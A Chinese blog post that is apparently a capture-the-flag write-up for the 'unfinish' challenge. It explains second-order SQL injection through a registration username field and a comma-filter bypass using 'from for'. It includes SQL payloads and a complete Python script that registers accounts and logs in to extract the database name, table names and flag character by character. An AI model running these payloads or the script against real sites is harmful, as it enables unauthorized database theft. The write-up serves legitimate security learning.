当前位置:网站首页>攻防世界----unfinish
攻防世界----unfinish
2022-08-02 13:06:00 【jjj34】
知识点:SQL二次注入
sql注入流程:找到注入点,进行fuzz测试,根据fuzz测试结果绕过,查flag
1.拿到题目后,先进行目录扫描
2.经过一系列测试:包括在register页面注册,然后去login页面查看
发现,在register页面的username字段是可以回显的
为什么要在username字段测试注入点,而不是在邮箱或者密码?
因为我们能看到username的回显。
判断注入点
在用户名处输入
0' and '1
确定了存在注入
3.进行fuzz测试,看能不能找到被过滤的关键字
尝试对username字段进行fuzz测试
测试范围为所有的单字符(ascii值33-127)
长度为904的报文被过滤了,也就是逗号
目前看来,只过滤了逗号
逗号的绕过:from for绕过
substr(database(),1) -> substr(database() from 1 for 1)
payload如下
username: 0' + ascii(substr(database() from 1 for 1)) +'0
原因:
在注册界面,有三个字段因此我们猜测原句为
insert('邮箱','用户名','密码')
而用户名是可以存在注入,并且具有回显的
为什么要用 0?
ascii可以将字符转化为ascii的值,0+任何数字都等于原字符,用其他数字也是可以的
0附近的两个单引号是为了闭合原句的单引号,如下
insert('邮箱','0' + ascii(substr(database() from 1 for 1)) +'0','密码')
第二个payload为
0' + ascii(substr(database() from 2 for 1)) +'0
接下来就是写脚本,让脚本帮我们爆破。
脚本思路:在register页面进行注册
账号就 [email protected]? 对?进行递增
用户名就是正常的盲注
密码就是 admin
注册好后,去login.php页面,拿邮箱和密码登录,然后获取到回显的用户名
利用chr()函数将数字转化为字母
脚本可以去wp里拿
import requests
import re
register_url = "http://61.147.171.105:64712/register.php"
login_url = "http://61.147.171.105:64712/login.php"
database = ""
table_name = ""
column_name = ""
flag = ""
#获取数据库名
for i in range(1,10):
register_data = {
'email':'[email protected]'+ str(i),
'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'[email protected]'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
database = database + chr(int(asc))
print('database:',database)
#获取表名
'''
for i in range(1,20):
register_data = {
'email':'[email protected]'+ str(i),
'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
print(r.text)
login_data = {
'email':'[email protected]'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
r.encoding = r.apparent_encoding
print(r.text)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
table_name = table_name + chr(int(asc))
print('table_name:',table_name)
'''
#获取flag
for i in range(1,100):
register_data = {
'email':'[email protected]'+ str(i) + str(i),
'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'[email protected]'+ str(i) + str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
flag = flag + chr(int(asc))
print('flag:',flag)
脚本解说
1.re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
因为用户名在html中是这么显示的
因此我们需要用到research函数结合正则匹配
re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
\s匹配空白符
\d匹配数字
python正则表达式re.search()怎么使用? | w3c笔记 (w3cschool.cn)
2.asc = match.group(1)
原因:group(n)匹配第n个括号内的值
上文中 group(1) 就是匹配到 (\d*)也就是我们要的数字
import re
content = "abc123def"
rex_compile = re.compile("([a-z]*)([0-9]*)([a-z]*)")
rex = rex_compile.search(content)
print(rex.group())
print(rex.group(0)) # group()和group(0) 一样匹配的是整体
print(rex.group(1)) # 匹配第一个小括号的内容
print(rex.group(2)) # 匹配第二个小括号的内容
print(rex.group(3)) # 匹配第三个小括号的内容
3.注意点
由于用户名是有限制的,因此在跑表名的时候会因为这个问题导致失败,需要手工去跑
边栏推荐
- RISC-V 指令格式和6种基本整数指令
- 微信小程序getPhoneNumber接口code=40013
- Seata分布式事务
- PHP+MYSQL [Student Information Management System] (Minimalist Edition)
- Markdown怎么加入emoji
- 鲁大师7月新机性能/流畅榜:骁龙8+正面对决天玑9000+,性能跑分突破123万!
- js true 3d histogram plugin
- Interpretation of new features | MySQL 8.0 GIPK invisible primary key
- php - the first of three solid foundations
- 自动生成代码器推荐-code-gen
猜你喜欢
Introduction to Scala Basic Syntax (3) Various Operators in Scala
Win11怎么修改关机界面颜色?Win11修改关机界面颜色的方法
短视频美食自媒体怎么做?5步教你快速上手
svg balloon rises explosion js special effect
【C语言】虐打循环练习题(2)
In-depth analysis and use of Ribbon load balancing
分享一个Chrome控制台数据获取的例子
【C语言】夏日一题 —— 求最大公约数和最小公倍数
Get out of the machine learning world forever!
吾爱第三课-修改版权和资源
随机推荐
Intouch System Platform IDE-1
Summer training camp-week2 graph theory
Seata Distributed Transaction
【C语言】细品分支结构——if-else语句
"Second Uncle" is popular, do you know the basic elements of "exploding" short videos from the media?
Taurus.MVC V3.0.3 microservice open source framework released: Make the evolution of .NET architecture easier in large concurrency.
你知道图论的spfa吗?
Detailed explanation of network flow (what information can the flow network diagram generally reflect)
你知道图论的Dijkstra吗?
RestTemplate 使用:设置请求头、请求体
单例模式的七种写法,你都知道吗?
【C语言】夏日一题 —— 求最大公约数和最小公倍数
冰箱“扩容”的战事,在今夏格外猛烈
第48篇-timestamp2参数分析【2022-08-01】
FreeRTOS experiment--one function creates multiple tasks
In-depth analysis and use of Ribbon load balancing
ESP8266模块使用完整教程「建议收藏」
短视频美食自媒体怎么做?5步教你快速上手
[C language] Analysis of function recursion (1)
【C语言】手把手带你写游戏 —— 猜数字